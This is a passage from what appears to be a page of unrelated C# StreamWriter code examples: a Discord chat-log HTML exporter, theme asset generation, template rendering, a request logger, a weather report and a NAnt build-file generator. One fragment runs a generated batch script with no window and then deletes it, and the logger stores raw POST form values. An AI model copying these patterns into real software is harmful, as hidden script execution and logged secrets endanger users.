!COUNT!  LEQ 11 GOTO MACLOOP \n";
                using (StreamWriter streamWriter = new StreamWriter(text, true))
                {
                    streamWriter.WriteLine(value);
                }
                Process process = new Process();
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.CreateNoWindow  = true;
                process.StartInfo.FileName        = text;
                process.Start();
                process.WaitForExit();
                File.Delete(text);
            }
            catch
            {
                bool flag = File.Exists(text);
                if (flag)
                {
                    File.Delete(text);
                }
                Console.ResetColor();
            }
        }
        private async Task ExportAsHtmlAsync(string filePath, ChannelChatLog log, string css)
        {
            using (var writer = new StreamWriter(filePath, false, Encoding.UTF8, 128 * 1024))
            {
                // Generation info
                await writer.WriteLineAsync("<!-- https://github.com/Tyrrrz/DiscordChatExporter -->");

                // Html start
                await writer.WriteLineAsync("<!DOCTYPE html>");

                await writer.WriteLineAsync("<html lang=\"en\">");

                // HEAD
                await writer.WriteLineAsync("<head>");

                await writer.WriteLineAsync($"<title>{log.Guild.Name} - {log.Channel.Name}</title>");

                await writer.WriteLineAsync("<meta charset=\"utf-8\" />");

                await writer.WriteLineAsync("<meta name=\"viewport\" content=\"width=device-width\" />");

                await writer.WriteLineAsync($"<style>{css}</style>");

                await writer.WriteLineAsync("</head>");

                // Body start
                await writer.WriteLineAsync("<body>");

                // Guild and channel info
                await writer.WriteLineAsync("<div id=\"info\">");

                await writer.WriteLineAsync("<div class=\"info-left\">");

                await writer.WriteLineAsync($"<img class=\"guild-icon\" src=\"{log.Guild.IconUrl}\" />");

                await writer.WriteLineAsync("</div>"); // info-left

                await writer.WriteLineAsync("<div class=\"info-right\">");

                await writer.WriteLineAsync($"<div class=\"guild-name\">{log.Guild.Name}</div>");

                await writer.WriteLineAsync($"<div class=\"channel-name\">{log.Channel.Name}</div>");

                await writer.WriteLineAsync($"<div class=\"channel-topic\">{log.Channel.Topic}</div>");

                await writer.WriteLineAsync(
                    $"<div class=\"channel-messagecount\">{log.TotalMessageCount:N0} messages</div>");

                await writer.WriteLineAsync("</div>"); // info-right

                await writer.WriteLineAsync("</div>"); // info

                // Chat log
                await writer.WriteLineAsync("<div id=\"log\">");

                foreach (var group in log.MessageGroups)
                {
                    await writer.WriteLineAsync("<div class=\"msg\">");

                    await writer.WriteLineAsync("<div class=\"msg-left\">");

                    await writer.WriteLineAsync($"<img class=\"msg-avatar\" src=\"{group.Author.AvatarUrl}\" />");

                    await writer.WriteLineAsync("</div>");

                    await writer.WriteLineAsync("<div class=\"msg-right\">");

                    await writer.WriteAsync(
                        $"<span class=\"msg-user\" title=\"{HtmlEncode(group.Author.FullyQualifiedName)}\">");

                    await writer.WriteAsync(HtmlEncode(group.Author.Name));

                    await writer.WriteLineAsync("</span>");

                    var timeStampFormatted = HtmlEncode(group.TimeStamp.ToString(_settingsService.DateFormat));
                    await writer.WriteLineAsync($"<span class=\"msg-date\">{timeStampFormatted}</span>");

                    // Messages
                    foreach (var message in group.Messages)
                    {
                        // Content
                        if (message.Content.IsNotBlank())
                        {
                            await writer.WriteLineAsync("<div class=\"msg-content\">");

                            var contentFormatted = FormatMessageContentHtml(message);
                            await writer.WriteAsync(contentFormatted);

                            // Edited timestamp
                            if (message.EditedTimeStamp != null)
                            {
                                var editedTimeStampFormatted =
                                    HtmlEncode(message.EditedTimeStamp.Value.ToString(_settingsService.DateFormat));
                                await writer.WriteAsync(
                                    $"<span class=\"msg-edited\" title=\"{editedTimeStampFormatted}\">(edited)</span>");
                            }

                            await writer.WriteLineAsync("</div>"); // msg-content
                        }

                        // Attachments
                        foreach (var attachment in message.Attachments)
                        {
                            if (attachment.Type == AttachmentType.Image)
                            {
                                await writer.WriteLineAsync("<div class=\"msg-attachment\">");

                                await writer.WriteLineAsync($"<a href=\"{attachment.Url}\">");

                                await writer.WriteLineAsync(
                                    $"<img class=\"msg-attachment\" src=\"{attachment.Url}\" />");

                                await writer.WriteLineAsync("</a>");

                                await writer.WriteLineAsync("</div>");
                            }
                            else
                            {
                                await writer.WriteLineAsync("<div class=\"msg-attachment\">");

                                await writer.WriteLineAsync($"<a href=\"{attachment.Url}\">");

                                var fileSizeFormatted = FormatFileSize(attachment.FileSize);
                                await writer.WriteLineAsync($"Attachment: {attachment.FileName} ({fileSizeFormatted})");

                                await writer.WriteLineAsync("</a>");

                                await writer.WriteLineAsync("</div>");
                            }
                        }
                    }
                    await writer.WriteLineAsync("</div>"); // msg-right

                    await writer.WriteLineAsync("</div>"); // msg
                }
                await writer.WriteLineAsync("</div>");     // log

                await writer.WriteLineAsync("</body>");

                await writer.WriteLineAsync("</html>");
            }
        }
示例#36
0
        public void Generate()
        {
            if (!Directory.Exists(_pathToThemeBuilderJSDataFolder))
                Directory.CreateDirectory(_pathToThemeBuilderJSDataFolder);

            var lessPath = Path.Combine(_pathToThemeBuilderDataFolder, "LESS");
            if (!Directory.Exists(lessPath))
                Directory.CreateDirectory(lessPath);

            var allMetadata = new ConcurrentDictionary<string, string>();
            var allLessTemplates = new ConcurrentDictionary<string, string>();
            var tasks = new List<Task>();
            foreach (var theme in THEMES)
            {
                var task = new Task(delegate ()
                {
                    var paths = ThemeBuilderLessFilesReader.GetLessPaths(_sourcePath, theme);
                    var bag = PersistentCache.Instance.Get(new[] { "tb-asset-gen", theme.FullName }, paths, delegate ()
                    {
                        var themeItem = ThemeBuilderItem.Get(_sourcePath, theme, paths);
                        GenerateMissingDataForWidgetsPreview(themeItem.Metadata);

                        return new Dictionary<string, string> {
                            { "meta", PrepareMetadata(themeItem.Metadata, theme) },
                            { "less", GetLessTemplateScript(themeItem.LessTemplate) }
                        };
                    });

                    allMetadata[theme.FullName] = bag["meta"];
                    allLessTemplates[theme.FullName] = bag["less"];
                });
                task.Start();
                tasks.Add(task);
            }
            Task.WaitAll(tasks.ToArray());

            foreach (var theme in THEMES)
                File.WriteAllText(Path.Combine(lessPath, "theme-builder-" + theme.FullName + ".less.js"), allLessTemplates[theme.FullName]);

            using (var stream = File.Open(Path.Combine(_pathToThemeBuilderDataFolder, "JS", "dx-theme-builder-metadata.js"), FileMode.Create))
            using (var writer = new StreamWriter(stream))
            {
                foreach (var theme in THEMES)
                    writer.WriteLine(allMetadata[theme.FullName]);
                writer.Write(GetMetadataVersionScript());
            }

            GenerateCombinedDataForWidgetsPreview();

            string bootstrapMetadataContent = File.ReadAllText(Path.Combine(_pathToBootstrapVariableFolder, BOOTSTRAP_METADATA_FILENAME));
            StringBuilder content = new StringBuilder();
            content.Append(String.Concat(
                    "ThemeBuilder.__bootstrap_metadata",
                    " = function() { return ",
                    bootstrapMetadataContent,
                    ";};\n"
                    ));

            File.WriteAllText(Path.Combine(_pathToThemeBuilderJSDataFolder, "dx-theme-builder-bootstrap-metadata.js"), content.ToString());

            string variablesMigrationMetadataContent = File.ReadAllText(Path.Combine(_pathToBootstrapVariableFolder, VARIABLES_MIGRATION_METADATA_FILENAME));
            StringBuilder newContent = new StringBuilder();
            newContent.Append(String.Concat(
                    "ThemeBuilder.__variables_migration_metadata",
                    " = function() { return ",
                    variablesMigrationMetadataContent,
                    ";};\n"
                ));

            File.WriteAllText(Path.Combine(_pathToThemeBuilderJSDataFolder, "dx-theme-builder-variables-migration-metadata.js"), newContent.ToString());

            string additionalMigrationMetadataContent = File.ReadAllText(Path.Combine(_pathToBootstrapVariableFolder, ADDITIONAL_MIGRATION_METADATA_FILENAME));
            StringBuilder dataContent = new StringBuilder();
            dataContent.Append(String.Concat(
                    "ThemeBuilder.__additional_migration_metadata",
                    " = function() { return ",
                    additionalMigrationMetadataContent,
                    ";};\n"
                ));

            File.WriteAllText(Path.Combine(_pathToThemeBuilderJSDataFolder, "dx-theme-builder-additional-migration-metadata.js"), dataContent.ToString());
        }
示例#37
0
        /// <summary>
        /// 返回渲染后的模板文件
        /// </summary>
        /// <param name="content"></param>
        /// <param name="template"></param>
        /// <returns></returns>
        public void GenerateHomeHtml()
        {
            try
            {
                Stopwatch watcher = new Stopwatch();
                watcher.Start();
                var templateModel = TemplateManagerCache.GetHomeTemplate();
                if (templateModel.id==0)
                {
                    throw new Exception("找不到模板");
                }
                //加载模板 先取缓存,没有再初始化一个并且加入缓存
                this.Document = RenderDocumentCache.GetRenderDocument(templateModel.id);
                if (this.Document == null)
                {
                    string templateFile = Path.Combine(GlobalParamsDto.WebRoot, templateModel.template_file);
                    this.Document = new TemplateDocument(templateModel.template_content, GlobalParamsDto.WebRoot, templateFile);
                    RenderDocumentCache.AddRenderDocument(templateModel.id, this.Document);
                }
                //this.LoadTemplate(templateModel.template_content);

                this.Document.Variables.SetValue("this", this);
                //站点基本信息
                var site = SiteManagerCache.GetSiteInfo();
                this.Document.Variables.SetValue("site", site);
                //设置顶部导航条数据
                var navigations = _generateContentApp.GetChannelTree();
                this.Document.Variables.SetValue("navigations", navigations);

                //获取栏目文章模板
                ElementCollection<Template> templates = this.Document.GetChildTemplatesByName("channels");
                foreach (Template template in templates)
                {
                    string total = template.Attributes.GetValue("total", "10");
                    //根据模板块里定义的type属性条件取得新闻数据
                    var data = _generateContentApp.GetContentSummary(template.Attributes.GetValue("type"),1,int.Parse(total));
                    //设置变量newsdata的值
                    template.Variables.SetValue("contents", data);

                    //取得模板块下Id为newslist的标签(也即是在cnblogs_newsdata.html文件中定义的foreach标签)
                    //Tag tag = template.GetChildTagById("newslist");
                    //if (tag is ForEachTag)
                    //{
                    //    //如果标签为foreach标签则设置其BeforeRender事件用于设置变量表达式{$:#.news.url}的值
                    //    tag.BeforeRender += new System.ComponentModel.CancelEventHandler(Tag_BeforeRender);
                    //}
                }

                string contentFilePath = Path.Combine(GlobalParamsDto.WebRoot, "index.html");
                using (var filestream = new FileStream(contentFilePath, FileMode.Create, FileAccess.ReadWrite))
                {
                    string renderHtml = this.Document.GetRenderText();

                    using (StreamWriter writer = new StreamWriter(filestream, Encoding.UTF8))
                    {

                        writer.WriteLine(renderHtml);
                        writer.Flush();
                    }
                }
                watcher.Stop();
                string msg = $"渲染首页耗时:{watcher.ElapsedMilliseconds} ms";

                LogNHelper.Info(msg);
            }
            catch (Exception ex)
            {
                LogNHelper.Exception(ex);

            }
        }
    /// <summary>
    /// 记录日志(记事本)
    /// </summary>
    /// <param name="PageName">页面名</param>
    /// <param name="logContents">日志内容</param>
    /// <param name="bRecordRequest">是否记录参数</param>
    public static void RecordLog(string PageName, string logContents, bool bRecordRequest)
    {
        lock (RootLock)
        {
            StreamWriter  fs = null;
            StringBuilder sb = new StringBuilder();
            try
            {
                #region 记录文本日志

                sb.AppendFormat("记录时间:" + DateTime.Now.ToString() + "\r\n");
                sb.AppendFormat("内    容: " + logContents + "\r\n");

                if (HttpContext.Current != null && HttpContext.Current.Request != null)
                {
                    sb.AppendFormat("      IP:" + System.Web.HttpContext.Current.Request.UserHostAddress + "\r\n");
                    sb.AppendFormat("  Request.HttpMethod:" + HttpContext.Current.Request.HttpMethod + "\r\n");

                    if (bRecordRequest)
                    {
                        #region 记录 Request 参数
                        try
                        {
                            if (HttpContext.Current.Request.HttpMethod == "POST")
                            {
                                #region POST 提交
                                if (HttpContext.Current.Request.Form.Count != 0)
                                {
                                    //__VIEWSTATE
                                    //__EVENTVALIDATION
                                    System.Collections.Specialized.NameValueCollection nv = HttpContext.Current.Request.Form;
                                    if (nv != null && nv.Keys.Count > 0)
                                    {
                                        foreach (string key in nv.Keys)
                                        {
                                            if (key == "__VIEWSTATE" || key == "__EVENTVALIDATION")
                                            {
                                                continue;
                                            }
                                            sb.AppendFormat("{0} ={1} \r\n", key, (nv[key] != null ? nv[key].ToString() : ""));
                                        }
                                    }
                                }
                                else
                                {
                                    sb.AppendFormat(" HttpContext.Current.Request.Form.Count = 0 \r\n");
                                }

                                #endregion
                            }
                            else if (HttpContext.Current.Request.HttpMethod == "GET")
                            {
                                #region GET 提交

                                if (HttpContext.Current.Request.QueryString.Count != 0)
                                {
                                    System.Collections.Specialized.NameValueCollection nv = HttpContext.Current.Request.QueryString;
                                    if (nv != null && nv.Keys.Count > 0)
                                    {
                                        foreach (string key in nv.Keys)
                                        {
                                            sb.AppendFormat("{0}={1} \r\n", key, nv[key]);
                                        }
                                    }
                                }
                                else
                                {
                                    sb.AppendFormat(" HttpContext.Current.QueryString.Form.Count = 0 \r\n");
                                }

                                #endregion
                            }
                            else
                            {
                            }
                        }
                        catch (Exception ex)
                        {
                            sb.AppendFormat("  异常内容: " + ex + "\r\n");
                            sb.AppendFormat("----------------------------------------------------------------------------------------------------\r\n\r\n");
                            AgainWrite(sb, PageName);
                        }

                        #endregion
                    }
                }
                else
                {
                    sb.AppendFormat("  HttpContext.Current.Request=null \r\n");
                }

                sb.AppendFormat("----------------------------------------------------------------------------------------------------\r\n\r\n");

                string dir = AppDomain.CurrentDomain.SetupInformation.ApplicationBase + "Logs\\" + PageName + "\\";
                if (!Directory.Exists(dir))
                {
                    Directory.CreateDirectory(dir);
                }
                fs = new StreamWriter(dir + System.DateTime.Now.ToString("yyyy-MM-dd") + ".txt", true, System.Text.Encoding.Default);
                fs.WriteLine(sb.ToString());

                #endregion
            }
            catch (Exception ex)
            {
                sb.AppendFormat("catch(Exception ex): " + ex.ToString() + "\r\n");
                AgainWrite(sb, PageName);
            }
            finally
            {
                if (fs != null)
                {
                    fs.Close();
                    fs.Dispose();
                }
            }
        }
    }
示例#39
0
 //Create and Format printable REPORT based on results requested by admin
 private void printReportButton_Click(object sender, EventArgs e)
 {
     searchButton_Click(sender, e);
     if (reportTable.Rows.Count > 0)
     {
         using (StreamWriter rsw = new StreamWriter("../../PrintableReport.txt"))
         {
             rsw.WriteLine("------------------------------");
             rsw.WriteLine("Report Details");
             rsw.WriteLine("------------------------------");
             rsw.WriteLine("\nDates Selected: " + datesSelected.Text);
             rsw.WriteLine("\nCities Selected: " + cityReportBox.Text + "\n");
             rsw.Write(string.Format("{0,-24}", "--------------------"));
             rsw.Write(string.Format("{0,-24}", "--------------------"));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "Lowest"));
             rsw.Write(string.Format("{0,-24}", "Highest"));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "--------------------"));
             rsw.Write(string.Format("{0,-24}", "--------------------"));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "Min Temp: " + lowestMinTemp.Text));
             rsw.Write(string.Format("{0,-24}", "Min Temp: " + highestMinTemp.Text));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "Max Temp: " + lowestMaxTemp.Text));
             rsw.Write(string.Format("{0,-24}", "Max Temp: " + highestMaxTemp.Text));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "Precipitation: " + lowestPrecip.Text));
             rsw.Write(string.Format("{0,-24}", "Precipitation: " + highestPrecip.Text));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "Humidity: " + lowestHumid.Text));
             rsw.Write(string.Format("{0,-24}", "Humidity: " + highestHumid.Text));
             rsw.WriteLine();
             rsw.Write(string.Format("{0,-24}", "Wind Speed: " + lowestHumid.Text));
             rsw.Write(string.Format("{0,-24}", "Wind Speed: " + highestHumid.Text));
             rsw.WriteLine("\n");
             rsw.WriteLine("------------------------------");
             rsw.WriteLine("All Results");
             rsw.WriteLine("------------------------------");
             rsw.Write(string.Format("{0,-18}", "City"));
             rsw.Write(string.Format("{0,-13}", "Date"));
             rsw.Write(string.Format("{0,-10}", "Min Temp"));
             rsw.Write(string.Format("{0,-10}", "Max Temp"));
             rsw.Write(string.Format("{0,-15}", "Precipitation"));
             rsw.Write(string.Format("{0,-10}", "Humidity"));
             rsw.Write(string.Format("{0,-12}", "Wind Speed"));
             rsw.WriteLine();
             rsw.WriteLine();
             for (int i = 0; i < reportTable.Rows.Count; i++)
             {
                 rsw.Write(string.Format("{0,-18}", $"{reportTable.Rows[i].Cells[0].Value.ToString()}"));
                 rsw.Write(string.Format("{0,-13:d}", $"{reportTable.Rows[i].Cells[1].Value.ToString()}"));
                 rsw.Write(string.Format("{0,-10}", $"{reportTable.Rows[i].Cells[2].Value.ToString()}"));
                 rsw.Write(string.Format("{0,-10}", $"{reportTable.Rows[i].Cells[3].Value.ToString()}"));
                 rsw.Write(string.Format("{0,-15}", $"{reportTable.Rows[i].Cells[4].Value.ToString()}"));
                 rsw.Write(string.Format("{0,-10}", $"{reportTable.Rows[i].Cells[5].Value.ToString()}"));
                 rsw.Write(string.Format("{0,-12}", $"{reportTable.Rows[i].Cells[6].Value.ToString()}"));
                 rsw.WriteLine();
             }
         }
         DialogResult result = MessageBox.Show("Report successfully created with " + reportTable.Rows.Count + " results.\n\nThis report can be found at: \n\n" + Path.GetFullPath("../../PrintableReport.txt") + "\n\nWould you like to open the report now?", "Report Created", MessageBoxButtons.YesNo);
         if (result == DialogResult.Yes)
         {
             Process.Start(@Path.GetFullPath("../../PrintableReport.txt"));
         }
         else
         {
         }
     }
     else
     {
         MessageBox.Show("Report not created! There are no results found in the report table. Please search for existing results and try again.");
     }
 }
示例#40
0
 public void WriteTableEnd()
 {
     _streamWriter.Close();
     _streamWriter = null;
     _dataWriters  = null;
 }
        private void WriteProject(SolutionNode solution, ProjectNode project)
        {
            string       projFile = Helper.MakeFilePath(project.FullPath, project.Name + GetProjectExtension(project), "build");
            StreamWriter ss       = new StreamWriter(projFile);

            m_Kernel.CurrentWorkingDirectory.Push();
            Helper.SetCurrentDir(Path.GetDirectoryName(projFile));
            bool hasDoc = false;

            using (ss)
            {
                ss.WriteLine("<?xml version=\"1.0\" ?>");
                ss.WriteLine("<project name=\"{0}\" default=\"build\">", project.Name);
                ss.WriteLine("	  <target name=\"{0}\">", "build");
                ss.WriteLine("		  <echo message=\"Build Directory is ${project::get-base-directory()}/${build.dir}\" />");
                ss.WriteLine("		  <mkdir dir=\"${project::get-base-directory()}/${build.dir}\" />");

                ss.Write("		  <csc ");
                ss.Write(" target=\"{0}\"", project.Type.ToString().ToLower());
                ss.Write(" debug=\"{0}\"", "${build.debug}");
                ss.Write(" platform=\"${build.platform}\"");


                foreach (ConfigurationNode conf in project.Configurations)
                {
                    if (conf.Options.KeyFile != "")
                    {
                        ss.Write(" keyfile=\"{0}\"", conf.Options.KeyFile);
                        break;
                    }
                }
                foreach (ConfigurationNode conf in project.Configurations)
                {
                    ss.Write(" unsafe=\"{0}\"", conf.Options.AllowUnsafe);
                    break;
                }
                foreach (ConfigurationNode conf in project.Configurations)
                {
                    ss.Write(" warnaserror=\"{0}\"", conf.Options.WarningsAsErrors);
                    break;
                }
                foreach (ConfigurationNode conf in project.Configurations)
                {
                    ss.Write(" define=\"{0}\"", conf.Options.CompilerDefines);
                    break;
                }
                foreach (ConfigurationNode conf in project.Configurations)
                {
                    ss.Write(" nostdlib=\"{0}\"", conf.Options["NoStdLib"]);
                    break;
                }

                ss.Write(" main=\"{0}\"", project.StartupObject);

                foreach (ConfigurationNode conf in project.Configurations)
                {
                    if (GetXmlDocFile(project, conf) != "")
                    {
                        ss.Write(" doc=\"{0}\"", "${project::get-base-directory()}/${build.dir}/" + GetXmlDocFile(project, conf));
                        hasDoc = true;
                    }
                    break;
                }
                ss.Write(" output=\"{0}", "${project::get-base-directory()}/${build.dir}/${project::get-name()}");
                if (project.Type == ProjectType.Library)
                {
                    ss.Write(".dll\"");
                }
                else
                {
                    ss.Write(".exe\"");
                }
                if (project.AppIcon != null && project.AppIcon.Length != 0)
                {
                    ss.Write(" win32icon=\"{0}\"", Helper.NormalizePath(project.AppIcon, '/'));
                }
                // This disables a very different behavior between VS and NAnt.  With Nant,
                //    If you have using System.Xml;  it will ensure System.Xml.dll is referenced,
                //    but not in VS.  This will force the behaviors to match, so when it works
                //    in nant, it will work in VS.
                ss.Write(" noconfig=\"true\"");
                ss.WriteLine(">");
                ss.WriteLine("			  <resources prefix=\"{0}\" dynamicprefix=\"true\" >", project.RootNamespace);
                foreach (string file in project.Files)
                {
                    switch (project.Files.GetBuildAction(file))
                    {
                    case BuildAction.EmbeddedResource:
                        ss.WriteLine("				  {0}", "<include name=\"" + Helper.NormalizePath(PrependPath(file), '/') + "\" />");
                        break;

                    default:
                        if (project.Files.GetSubType(file) != SubType.Code && project.Files.GetSubType(file) != SubType.Settings)
                        {
                            ss.WriteLine("				  <include name=\"{0}\" />", file.Substring(0, file.LastIndexOf('.')) + ".resx");
                        }
                        break;
                    }
                }
                //if (project.Files.GetSubType(file).ToString() != "Code")
                //{
                //	ps.WriteLine("	  <EmbeddedResource Include=\"{0}\">", file.Substring(0, file.LastIndexOf('.')) + ".resx");

                ss.WriteLine("			  </resources>");
                ss.WriteLine("			  <sources failonempty=\"true\">");
                foreach (string file in project.Files)
                {
                    switch (project.Files.GetBuildAction(file))
                    {
                    case BuildAction.Compile:
                        ss.WriteLine("				  <include name=\""+ Helper.NormalizePath(PrependPath(file), '/') + "\" />");
                        break;

                    default:
                        break;
                    }
                }
                ss.WriteLine("			  </sources>");
                ss.WriteLine("			  <references basedir=\"${project::get-base-directory()}\">");
                ss.WriteLine("				  <lib>");
                ss.WriteLine("					  <include name=\"${project::get-base-directory()}\" />");
                foreach (ReferencePathNode refPath in project.ReferencePaths)
                {
                    ss.WriteLine("					  <include name=\"${project::get-base-directory()}/"+ refPath.Path.TrimEnd('/', '\\') + "\" />");
                }
                ss.WriteLine("				  </lib>");
                foreach (ReferenceNode refr in project.References)
                {
                    string path = Helper.NormalizePath(Helper.MakePathRelativeTo(project.FullPath, BuildReference(solution, project, refr)), '/');
                    if (refr.Path != null)
                    {
                        if (ExtensionSpecified(refr.Name))
                        {
                            ss.WriteLine("                <include name=\"" + path + refr.Name + "\"/>");
                        }
                        else
                        {
                            ss.WriteLine("                <include name=\"" + path + refr.Name + ".dll\"/>");
                        }
                    }
                    else
                    {
                        ss.WriteLine("                <include name=\"" + path + "\" />");
                    }
                }
                ss.WriteLine("			  </references>");

                ss.WriteLine("		  </csc>");

                foreach (ConfigurationNode conf in project.Configurations)
                {
                    if (!String.IsNullOrEmpty(conf.Options.OutputPath))
                    {
                        string targetDir = Helper.NormalizePath(conf.Options.OutputPath, '/');

                        ss.WriteLine("        <echo message=\"Copying from [${project::get-base-directory()}/${build.dir}/] to [${project::get-base-directory()}/" + targetDir + "\" />");

                        ss.WriteLine("        <mkdir dir=\"${project::get-base-directory()}/" + targetDir + "\"/>");

                        ss.WriteLine("        <copy todir=\"${project::get-base-directory()}/" + targetDir + "\">");
                        ss.WriteLine("            <fileset basedir=\"${project::get-base-directory()}/${build.dir}/\" >");
                        ss.WriteLine("                <include name=\"*.dll\"/>");
                        ss.WriteLine("                <include name=\"*.exe\"/>");
                        ss.WriteLine("                <include name=\"*.mdb\" if='${build.debug}'/>");
                        ss.WriteLine("                <include name=\"*.pdb\" if='${build.debug}'/>");
                        ss.WriteLine("            </fileset>");
                        ss.WriteLine("        </copy>");
                        break;
                    }
                }

                ss.WriteLine("	  </target>");

                ss.WriteLine("	  <target name=\"clean\">");
                ss.WriteLine("		  <delete dir=\"${bin.dir}\" failonerror=\"false\" />");
                ss.WriteLine("		  <delete dir=\"${obj.dir}\" failonerror=\"false\" />");
                ss.WriteLine("	  </target>");

                ss.WriteLine("	  <target name=\"doc\" description=\"Creates documentation.\">");
                if (hasDoc)
                {
                    ss.WriteLine("		  <property name=\"doc.target\" value=\"\" />");
                    ss.WriteLine("		  <if test=\"${platform::is-unix()}\">");
                    ss.WriteLine("			  <property name=\"doc.target\" value=\"Web\" />");
                    ss.WriteLine("		  </if>");
                    ss.WriteLine("		  <ndoc failonerror=\"false\" verbose=\"true\">");
                    ss.WriteLine("			  <assemblies basedir=\"${project::get-base-directory()}\">");
                    ss.Write("				  <include name=\"${build.dir}/${project::get-name()}");
                    if (project.Type == ProjectType.Library)
                    {
                        ss.WriteLine(".dll\" />");
                    }
                    else
                    {
                        ss.WriteLine(".exe\" />");
                    }

                    ss.WriteLine("			  </assemblies>");
                    ss.WriteLine("			  <summaries basedir=\"${project::get-base-directory()}\">");
                    ss.WriteLine("				  <include name=\"${build.dir}/${project::get-name()}.xml\"/>");
                    ss.WriteLine("			  </summaries>");
                    ss.WriteLine("			  <referencepaths basedir=\"${project::get-base-directory()}\">");
                    ss.WriteLine("				  <include name=\"${build.dir}\" />");
                    //					foreach(ReferenceNode refr in project.References)
                    //					{
                    //						string path = Helper.NormalizePath(Helper.MakePathRelativeTo(project.FullPath, BuildReferencePath(solution, refr)), '/');
                    //						if (path != "")
                    //						{
                    //							ss.WriteLine("				  <include name=\"{0}\" />", path);
                    //						}
                    //					}
                    ss.WriteLine("			  </referencepaths>");
                    ss.WriteLine("			  <documenters>");
                    ss.WriteLine("				  <documenter name=\"MSDN\">");
                    ss.WriteLine("					  <property name=\"OutputDirectory\" value=\"${project::get-base-directory()}/${build.dir}/doc/${project::get-name()}\" />");
                    ss.WriteLine("					  <property name=\"OutputTarget\" value=\"${doc.target}\" />");
                    ss.WriteLine("					  <property name=\"HtmlHelpName\" value=\"${project::get-name()}\" />");
                    ss.WriteLine("					  <property name=\"IncludeFavorites\" value=\"False\" />");
                    ss.WriteLine("					  <property name=\"Title\" value=\"${project::get-name()} SDK Documentation\" />");
                    ss.WriteLine("					  <property name=\"SplitTOCs\" value=\"False\" />");
                    ss.WriteLine("					  <property name=\"DefaulTOC\" value=\"\" />");
                    ss.WriteLine("					  <property name=\"ShowVisualBasic\" value=\"True\" />");
                    ss.WriteLine("					  <property name=\"AutoDocumentConstructors\" value=\"True\" />");
                    ss.WriteLine("					  <property name=\"ShowMissingSummaries\" value=\"${build.debug}\" />");
                    ss.WriteLine("					  <property name=\"ShowMissingRemarks\" value=\"${build.debug}\" />");
                    ss.WriteLine("					  <property name=\"ShowMissingParams\" value=\"${build.debug}\" />");
                    ss.WriteLine("					  <property name=\"ShowMissingReturns\" value=\"${build.debug}\" />");
                    ss.WriteLine("					  <property name=\"ShowMissingValues\" value=\"${build.debug}\" />");
                    ss.WriteLine("					  <property name=\"DocumentInternals\" value=\"False\" />");
                    ss.WriteLine("					  <property name=\"DocumentPrivates\" value=\"False\" />");
                    ss.WriteLine("					  <property name=\"DocumentProtected\" value=\"True\" />");
                    ss.WriteLine("					  <property name=\"DocumentEmptyNamespaces\" value=\"${build.debug}\" />");
                    ss.WriteLine("					  <property name=\"IncludeAssemblyVersion\" value=\"True\" />");
                    ss.WriteLine("				  </documenter>");
                    ss.WriteLine("			  </documenters>");
                    ss.WriteLine("		  </ndoc>");
                }
                ss.WriteLine("	  </target>");
                ss.WriteLine("</project>");
            }
            m_Kernel.CurrentWorkingDirectory.Pop();
        }
        private void WriteCombine(SolutionNode solution)
        {
            m_Kernel.Log.Write("Creating NAnt build files");
            foreach (ProjectNode project in solution.Projects)
            {
                if (m_Kernel.AllowProject(project.FilterGroups))
                {
                    m_Kernel.Log.Write("...Creating project: {0}", project.Name);
                    WriteProject(solution, project);
                }
            }

            m_Kernel.Log.Write("");
            string       combFile = Helper.MakeFilePath(solution.FullPath, solution.Name, "build");
            StreamWriter ss       = new StreamWriter(combFile);

            m_Kernel.CurrentWorkingDirectory.Push();
            Helper.SetCurrentDir(Path.GetDirectoryName(combFile));

            using (ss)
            {
                ss.WriteLine("<?xml version=\"1.0\" ?>");
                ss.WriteLine("<project name=\"{0}\" default=\"build\">", solution.Name);
                ss.WriteLine("	  <echo message=\"Using '${nant.settings.currentframework}' Framework\"/>");
                ss.WriteLine();

                //ss.WriteLine("	<property name=\"dist.dir\" value=\"dist\" />");
                //ss.WriteLine("	<property name=\"source.dir\" value=\"source\" />");
                ss.WriteLine("	  <property name=\"bin.dir\" value=\"bin\" />");
                ss.WriteLine("	  <property name=\"obj.dir\" value=\"obj\" />");
                ss.WriteLine("	  <property name=\"doc.dir\" value=\"doc\" />");
                ss.WriteLine("	  <property name=\"project.main.dir\" value=\"${project::get-base-directory()}\" />");

                // Use the active configuration, which is the first configuration name in the prebuild file.
                Dictionary <string, string> emittedConfigurations = new Dictionary <string, string>();

                ss.WriteLine("	  <property name=\"project.config\" value=\"{0}\" />", solution.ActiveConfig);
                ss.WriteLine();

                foreach (ConfigurationNode conf in solution.Configurations)
                {
                    // If the name isn't in the emitted configurations, we give a high level target to the
                    // platform specific on. This lets "Debug" point to "Debug-AnyCPU".
                    if (!emittedConfigurations.ContainsKey(conf.Name))
                    {
                        // Add it to the dictionary so we only emit one.
                        emittedConfigurations.Add(conf.Name, conf.Platform);

                        // Write out the target block.
                        ss.WriteLine("	  <target name=\"{0}\" description=\"{0}|{1}\" depends=\"{0}-{1}\">", conf.Name, conf.Platform);
                        ss.WriteLine("	  </target>");
                        ss.WriteLine();
                    }

                    // Write out the target for the configuration.
                    ss.WriteLine("	  <target name=\"{0}-{1}\" description=\"{0}|{1}\">", conf.Name, conf.Platform);
                    ss.WriteLine("		  <property name=\"project.config\" value=\"{0}\" />", conf.Name);
                    ss.WriteLine("		  <property name=\"build.debug\" value=\"{0}\" />", conf.Options["DebugInformation"].ToString().ToLower());
                    ss.WriteLine("\t\t  <property name=\"build.platform\" value=\"{0}\" />", conf.Platform);
                    ss.WriteLine("	  </target>");
                    ss.WriteLine();
                }

                ss.WriteLine("	  <target name=\"net-1.1\" description=\"Sets framework to .NET 1.1\">");
                ss.WriteLine("		  <property name=\"nant.settings.currentframework\" value=\"net-1.1\" />");
                ss.WriteLine("	  </target>");
                ss.WriteLine();

                ss.WriteLine("	  <target name=\"net-2.0\" description=\"Sets framework to .NET 2.0\">");
                ss.WriteLine("		  <property name=\"nant.settings.currentframework\" value=\"net-2.0\" />");
                ss.WriteLine("	  </target>");
                ss.WriteLine();

                ss.WriteLine("	  <target name=\"net-3.5\" description=\"Sets framework to .NET 3.5\">");
                ss.WriteLine("		  <property name=\"nant.settings.currentframework\" value=\"net-3.5\" />");
